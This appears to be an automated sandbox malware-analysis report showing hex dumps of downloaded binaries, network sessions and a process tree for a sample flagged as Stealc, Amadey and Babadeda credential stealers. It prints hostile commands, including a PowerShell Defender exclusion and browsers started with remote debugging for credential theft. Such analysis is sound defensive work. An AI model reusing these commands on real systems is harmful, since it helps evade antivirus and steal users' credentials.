2024-12-23 05:55:13 UTC	16384	IN	Data Raw: 53 56 57 bb 08 87 41 00 33 ff 53 ff 15 0c 75 41 00 8b 35 1c 81 41 00 85 f6 74 22 8b 44 24 10 39 46 0c 74 08 8b 36 85 f6 75 f5 eb 11 57 ff 76 08 ff 15 1c 75 41 00 85 c0 74 03 8b 7e 08 53 ff 15 14 75 41 00 8b c7 5f 5e 5b c2 04 00 53 56 57 8b 7c 24 10 6a 00 57 e8 a5 ff ff ff 50 ff 15 20 75 41 00 bb 08 87 41 00 53 ff 15 0c 75 41 00 8b 35 1c 81 41 00 eb 07 39 7e 0c 74 08 8b 36 85 f6 75 f5 eb 18 83 c6 08 ff 36 ff 15 10 75 41 00 56 68 1c 81 41 00 e8 35 8d 00 00 59 59 53 ff 15 14 75 41 00 5f 5e 5b c2 04 00 51 55 56 8d 44 24 08 33 f6 50 56 ff 74 24 1c ff 74 24 1c 68 00 10 00 00 56 ff 15 24 75 41 00 8b e8 85 ed 74 73 57 68 08 87 41 00 ff 15 0c 75 41 00 8b 3d 1c 81 41 00 85 ff 74 31 53 56 8d 5f 08 ff 33 ff 15 1c 75 41 00 85 c0 75 19 ff 33 ff 15 10 75 41 00 8b 3f 53 Data Ascii: SVWA3SuA5At"D$9Ft6uWvuAt~SuA_^[SVW\|$jWP uAASuA5A9~t6u6uAVhA5YYSuA_^[QUVD$3PVt$t$hV$uAtsWhAuA=At1SV_3uAu3uA?S
2024-12-23 05:55:13 UTC	1024	IN	Data Raw: 66 89 84 24 4a 02 00 00 8d 44 24 44 50 e8 2f bf ff ff 83 c4 10 6a 5c 59 83 f8 03 7e 0e 66 39 4c 44 36 75 07 33 c9 66 89 4c 44 36 8b 84 24 44 02 00 00 89 44 24 24 e8 b2 00 00 00 89 44 24 18 8d 44 24 38 6a 01 c7 44 24 2c 50 00 00 00 c7 44 24 30 11 93 40 00 89 44 24 34 e8 46 01 00 00 8d 44 24 18 50 ff 54 24 14 8b f0 57 89 74 24 14 e8 31 01 00 00 85 f6 74 44 ff b4 24 4c 02 00 00 53 e8 98 54 00 00 8b 7c 24 10 8b f0 56 33 c0 57 66 89 06 ff 54 24 1c 57 ff 15 8c 76 41 00 56 e8 9f be ff ff 59 8b f8 6a 5c 58 66 39 44 7e fe 74 0c 66 89 04 7e 33 c0 66 89 44 7e 02 47 55 ff 15 dc 74 41 00 5e 85 ff 75 12 ff b4 24 48 02 00 00 53 e8 48 54 00 00 33 c9 66 89 08 2b df 53 e8 cb 55 00 00 5f 5d 5b 81 c4 30 02 00 00 c2 0c 00 55 8b ec 51 56 ff 15 48 76 41 00 8b f0 85 f6 74 1e 8d Data Ascii: f$JD$DP/j\Y~f9LD6u3fLD6$DD$$D$D$8jD$,PD$0@D$4FD$PT$Wt$1tD$LST\|$V3WfT$WvAVYj\Xf9D~tf~3fD~GUtA^u$HSHT3f+SU_][0UQVHvAt
2024-12-23 05:55:13 UTC	16384	IN	Data Raw: 5a 66 39 10 75 1e 83 c0 02 0f b7 08 66 85 c9 74 1d 66 3b ca 74 0b 83 c0 02 0f b7 08 66 85 c9 75 f0 6a 20 59 0f b7 10 66 85 d2 75 ca eb b0 8b c8 8b 54 24 1c eb 02 33 d2 39 5d 00 75 04 85 ff 75 1d 85 d2 74 01 43 33 d2 8b f2 0f b7 10 66 85 d2 0f 85 44 ff ff ff 85 ff 75 15 8b c3 eb 15 85 f6 74 0d 2b ce 8b c6 d1 f9 89 0f ff 45 00 eb 04 33 c9 89 0f 5f 5e 5d 5b 59 59 c3 ff 35 2c 87 41 00 e8 ff 40 00 00 6a 00 e8 ca fe ff ff 59 c3 55 8b ec 51 ff 35 2c 87 41 00 83 65 fc 00 e8 e3 40 00 00 8b 4d 08 85 c9 78 02 89 08 8d 45 fc 56 50 e8 a2 fe ff ff 59 ff 75 0c 8b f0 ff 75 fc e8 5a 50 00 00 ff 75 fc 50 56 e8 49 fe ff ff 83 c4 0c 50 e8 d7 51 00 00 5e 8b e5 5d c2 08 00 56 57 bf 30 87 41 00 33 f6 57 ff 15 0c 75 41 00 ff 74 24 0c ff 35 48 81 41 00 e8 42 49 00 00 59 59 85 c0 Data Ascii: Zf9uftf;tfuj YfuT$39]uutC3fDut+E3_^][YY5,A@jYUQ5,Ae@MxEVPYuuZPuPVIPQ^]VW0A3WuAt$5HABIYY
2024-12-23 05:55:13 UTC	1024	IN	Data Raw: 47 10 56 ff d0 5f 5e c2 10 00 cc cc 56 8b 74 24 08 33 d2 83 fe ff 75 11 39 15 68 81 41 00 74 28 b8 70 81 41 00 5e c2 04 00 8b 0d 68 81 41 00 85 c9 7e 15 b8 70 81 41 00 8d 64 24 00 39 30 75 02 8b d0 83 c0 14 49 75 f4 8b c2 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 0d 68 81 41 00 56 8b 74 24 08 57 33 ff 83 fe ff 75 04 85 c9 eb 19 85 c9 7e 1e b8 70 81 41 00 8b d1 39 30 75 02 8b f8 83 c0 14 4a 75 f4 85 ff 74 07 5f 33 c0 5e c2 04 00 8d 04 89 41 89 34 85 70 81 41 00 5f 89 0d 68 81 41 00 8d 04 89 8d 04 85 5c 81 41 00 5e c2 04 00 cc cc cc cc cc cc cc 56 57 8b 7c 24 0c 33 f6 85 ff 74 0c 8b 07 99 83 e2 07 8d 34 02 c1 fe 03 ff 74 24 10 8d 0c 36 51 e8 3b 10 00 00 8b c8 85 f6 7e 31 8d 57 04 8b ff 0f b6 02 8d 49 04 c1 e8 04 8d 52 01 0f be 80 f8 36 41 00 Data Ascii: GV_^Vt$3u9hAt(pA^hA~pAd$90uIu^hAVt$W3u~pA90uJut_3^A4pA_hA\A^VW\|$3t4t$6Q;~1WIR6A
2024-12-23 05:55:13 UTC	16384	IN	Data Raw: 41 00 ff 15 38 75 41 00 89 47 0c 8d 47 20 50 ff 15 18 75 41 00 8b c7 5f c2 0c 00 55 56 57 8b 7c 24 10 33 d2 8b ea 39 57 1c 74 0c 8d 47 20 50 ff 15 0c 75 41 00 33 d2 8b 77 04 85 f6 74 79 8b 4e 14 85 c9 7e 11 8b 6e 08 8b 45 00 89 46 08 8d 41 ff 89 46 14 eb 14 8b 4e 10 8d 6e 18 8b 47 10 0f af c1 03 e8 8d 41 01 89 46 10 39 56 14 0f 85 e3 00 00 00 8b 46 10 3b 46 0c 0f 8c d7 00 00 00 8b 0e 85 c9 74 06 8b 46 04 89 41 04 8b 06 3b 77 04 75 05 89 47 04 eb 05 8b 4e 04 89 01 8b 07 89 06 89 56 04 89 37 8b 06 85 c0 0f 84 a7 00 00 00 89 70 04 e9 9f 00 00 00 53 8b 5f 0c c1 fb 04 83 e3 f0 3b 5f 14 7d 05 8b 5f 14 eb 08 3b 5f 18 7e 03 8b 5f 18 8b 47 10 0f af c3 83 c0 18 50 52 ff 35 68 80 41 00 ff 15 38 75 41 00 33 c9 8b f0 41 85 f6 74 05 89 5e 0c eb 21 8b 47 10 83 c0 18 50 Data Ascii: A8uAGG PuA_UVW\|$39WtG PuA3wtyN~nEFAFNnGAF9VF;FtFA;wuGNV7pS_;_}_;_~_GPR5hA8uA3At^!GP
2024-12-23 05:55:13 UTC	1024	IN	Data Raw: 12 8b 44 24 10 89 04 a9 8b 8c 24 9c 00 00 00 8b 44 24 38 c1 e0 02 5f 01 01 8b 8c 24 9c 00 00 00 8b 44 24 14 5e 5d 89 01 33 c0 5b 83 c4 7c c3 5f 5e 5d 83 c8 ff 5b 83 c4 7c c3 cc cc 83 ec 38 53 55 56 57 8b 4c 24 4c 8b 59 1c 8b 41 04 8b 11 83 c0 fb 8b 71 0c 03 c2 89 44 24 38 8b 41 10 8b c8 2b 4c 24 50 05 ff fe ff ff 03 c6 8b 6b 40 89 44 24 14 03 ce 8b 43 2c 89 44 24 30 8b 43 30 89 44 24 44 8b 43 34 89 44 24 34 8b 43 38 89 44 24 20 8b 43 50 89 44 24 28 8b 43 54 89 44 24 2c b8 01 00 00 00 89 44 24 18 89 4c 24 40 8b 4b 58 d3 64 24 18 8b 4b 5c ff 4c 24 18 d3 e0 48 89 5c 24 1c 8b 7b 3c 89 54 24 10 89 44 24 3c 90 83 fd 0f 73 1e 0f b6 02 8b cd d3 e0 8d 4d 08 03 f8 0f b6 42 01 d3 e0 83 c2 02 03 f8 89 54 24 10 83 c5 10 8b 44 24 18 8b 4c 24 28 23 c7 8b 1c 81 8b c3 c1 Data Ascii: D$$D$8_$D$^]3[\|_^][\|8SUVWL$LYAqD$8A+L$Pk@D$C,D$0C0D$DC4D$4C8D$ CPD$(CTD$,D$L$@KXd$K\L$H\${<T$D$<sMBT$D$L$(#
2024-12-23 05:55:13 UTC	16384	IN	Data Raw: 04 51 3f 00 00 8b c5 2b de c1 e8 03 2b d0 c1 e0 03 2b e8 b8 01 00 00 00 8b cd d3 e0 8b 4c 24 4c 48 23 f8 8b 44 24 38 2b c2 83 c0 05 81 c3 01 01 00 00 89 41 04 8b 44 24 1c 89 71 0c 89 59 10 89 11 89 78 3c 5f 5e 89 68 40 5d 5b 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 0f af 44 24 0c 50 ff 15 ac 74 41 00 83 c4 04 c3 cc cc cc cc cc cc cc cc cc cc cc cc ff 74 24 08 ff 15 8c 74 41 00 59 c3 8b 4c 24 0c 8b 44 24 08 56 8b 74 24 08 8b d6 85 c9 7f 19 7c 04 85 c0 73 13 6a 2d f7 d0 f7 d1 5a 83 c0 01 66 89 16 8d 56 02 83 d1 00 51 50 52 e8 06 00 00 00 8b c6 5e c2 0c 00 8b 54 24 0c 83 ec 40 53 8b 5c 24 4c 55 56 8b 74 24 50 8b ee 57 8d 7c 24 10 6a 00 6a 0a 52 53 e8 96 31 ff ff 89 5c 24 5c 8b d8 8d 41 30 66 89 07 8b c3 83 c7 02 0b c2 75 e0 83 ef 02 8d Data Ascii: Q?+++L$LH#D$8+AD$qYx<_^h@][8D$D$PtAt$tAYL$D$Vt$\|sj-ZfVQPR^T$@S\$LUVt$PW\|$jjRS1\$\A0fu
2024-12-23 05:55:13 UTC	1024	IN	Data Raw: 44 74 01 00 00 00 00 00 00 00 00 00 bc 7f 01 00 80 76 01 00 4c 74 01 00 00 00 00 00 00 00 00 00 e6 7f 01 00 88 76 01 00 58 74 01 00 00 00 00 00 00 00 00 00 5a 80 01 00 94 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 76 01 00 62 78 01 00 6c 78 01 00 76 78 01 00 80 78 01 00 8a 78 01 00 96 78 01 00 a0 78 01 00 a8 78 01 00 b4 78 01 00 be 78 01 00 c8 78 01 00 d2 78 01 00 dc 78 01 00 e6 78 01 00 f0 78 01 00 00 00 00 00 c2 76 01 00 d6 76 01 00 e4 76 01 00 f4 76 01 00 0c 77 01 00 1a 77 01 00 28 77 01 00 34 77 01 00 48 77 01 00 5a 77 01 00 70 77 01 00 7e 77 01 00 92 77 01 00 a8 77 01 00 ba 77 01 00 ca 77 01 00 dc 77 01 00 ec 77 01 00 fc 77 01 00 12 78 01 00 26 78 01 00 3e 78 01 00 fa 78 01 00 12 79 01 00 20 79 01 00 38 79 01 00 54 79 01 Data Ascii: DtvLtvXtZvvbxlxvxxxxxxxxxxxxxvvvvww(w4wHwZwpw~wwwwwwwwx&x>xxy y8yTy

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50030	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:55:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 4f 64 30 72 4b 67 71 32 30 43 58 4c 56 68 51 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 62 62 31 35 63 63 65 63 33 64 32 37 32 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: GOd0rKgq20CXLVhQ.1Context: 2abb15ccec3d272a
2024-12-23 05:55:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:55:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 4f 64 30 72 4b 67 71 32 30 43 58 4c 56 68 51 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 62 62 31 35 63 63 65 63 33 64 32 37 32 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: GOd0rKgq20CXLVhQ.2Context: 2abb15ccec3d272a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:55:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 4f 64 30 72 4b 67 71 32 30 43 58 4c 56 68 51 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 62 62 31 35 63 63 65 63 33 64 32 37 32 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: GOd0rKgq20CXLVhQ.3Context: 2abb15ccec3d272a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:55:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:55:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 31 77 61 37 41 6d 30 6f 6a 55 71 54 42 46 38 4d 2f 79 51 38 36 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 1wa7Am0ojUqTBF8M/yQ86A.0Payload parsing failed.

Target ID:	0
Start time:	00:53:08
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\uLkHEqZ3u3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uLkHEqZ3u3.exe"
Imagebase:	0x690000
File size:	1'911'296 bytes
MD5 hash:	DDF07B20341889B8CABB9EA953370955
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2296923223.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2297076476.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:53:40
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe"
Imagebase:	0xa60000
File size:	2'814'976 bytes
MD5 hash:	10028B6D8256496F25456130D84295E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:53:45
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe"
Imagebase:	0x930000
File size:	2'907'648 bytes
MD5 hash:	225AD75097A8A68691F54CA412436016
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.3070581641.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.3066735330.0000000000931000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.2497344079.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:53:56
Start date:	23/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:53:56
Start date:	23/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2264,i,17984383435334559491,9685032236867275934,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:54:06
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:54:07
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2284,i,14841880276472698510,10541286515019937422,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:54:07
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:54:08
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,16280527193402925112,7809612728727619200,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:54:40
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\CGIJECFIEC.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:54:40
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:54:41
Start date:	23/12/2024
Path:	C:\Users\user\Documents\CGIJECFIEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\CGIJECFIEC.exe"
Imagebase:	0x600000
File size:	3'247'616 bytes
MD5 hash:	C276BD1105BF94A6A453275FAC1472DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.3093466078.0000000000601000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:54:43
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x220000
File size:	3'247'616 bytes
MD5 hash:	C276BD1105BF94A6A453275FAC1472DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3120430275.0000000000221000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:54:43
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x220000
File size:	3'247'616 bytes
MD5 hash:	C276BD1105BF94A6A453275FAC1472DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.3120502766.0000000000221000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:55:00
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x220000
File size:	3'247'616 bytes
MD5 hash:	C276BD1105BF94A6A453275FAC1472DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.3377458420.0000000000221000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	00:55:13
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1020057001\install1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	B222785FC8B8BA94C14D73C46C0C11C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	00:55:13
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	00:55:13
Start date:	23/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"
Imagebase:	0x7ff69d340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	00:55:13
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 014BC9C1 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2296923223.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, Offset: 014B8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_14b8000_uLkHEqZ3u3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a384be8d21a0f8b57c3ff2749e0e033e5b7c13a53b09ea88bbe5830266f0e53
Instruction ID: fa563800942a1535309ab3815602116cf6f7c69cad53775ef6424e5da7f240a6
